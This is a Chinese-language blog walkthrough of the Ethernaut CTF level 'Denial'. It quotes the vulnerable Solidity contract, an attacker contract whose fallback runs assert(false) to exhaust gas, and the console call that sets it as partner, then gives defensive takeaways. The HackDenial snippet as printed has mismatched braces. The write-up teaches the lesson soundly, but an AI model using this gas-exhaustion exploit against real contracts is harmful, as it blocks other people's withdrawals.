Ethernaut – level 20 : Denial

(https://ethernaut.openzeppelin.com/level/0xf1D573178225513eDAA795bE9206f7E311EeDEc3)

這一關的題目說Denial這個合約會將所剩餘的錢錢一次分一小部分(看程式的寫法是1%)分給Partner,呼叫setWithdrawPartner()可將一個位址設為Partner,當呼叫withdraw()時就會分錢啦,但同時呢,也會分錢給Owner,但這關的過關條件就是:我們想拿到錢,但是,我們不想分錢給Owner。

contract Denial {

    address public partner; 
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; 

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }
}

這題讓我們想起了re-entrancy,看程式的寫法,我們需要能拿到錢,要執行partner.call{value:amountToSend}(“”);接著,要讓Owner拿不到錢,就需要讓它的下一句owner.transfer(amountToSend)不能執行。

我們有兩個方式,一個方式跟re-entrancy一樣,重複呼叫withdraw()直到把錢用完,但今天我們用另一個方式來達成: Out of Gas;如果在前一步就將gas用完了,則owner.transfer(amountToSend)自然不能執行,而ethernum中的錯誤處理方式中包含了一個assert()的功能,會將gas用完,由於partner.call{value:amountToSend}(“”);並沒有指定使用的gas量,因此當Partner合約中的receive()裡面插入一個assert(false),就會返回fail且用完gas!

完成submit後,可查看Ethersacn的tracsaction detail頁面

江湖一點訣,說破不值錢。我們在Remix上編寫以下的sol程式並部署後,將該合約設為partner,然後submit,登呢,過關。

//in Remix
pragma solidity ^0.6.0;
contract HackDenial {
    
    fallback() payable external {
        assert(false);
        //while(true){
}            

    }
    
}

//deploy and get contract address


//in console
await contract.setWithdrawPartner("<HackDenial contract address here>")

補充說明:

  • call的語法:someAddress.call{gas: x, value: y}(data) (example: someAddress.call({value: 1 ether})(abi.encodeWithSignature(“someFunction(uint256)”, _arg1))。因為partner.call{value:amountToSend}(“”)語句中call並沒有帶data的參數,因此沒有呼叫任何一個function而會去執行partner contract的fallback()。
  • assert()語句在solidity >0.8.0 之後會有問題,另一個寫法就是讓其陷入無窮迴圈直到用完gas。

Takeaway:

  • assert()應該主要用於測試環境中才會出現的情況,正式環境通常以require()來作為程式錯誤或檢查的判斷。
  • 使用低階語法call時,建議要帶gas參數來限制。
  • 另外,從程式順序的角度,呼叫其他合約的語句可以盡量寫在最後。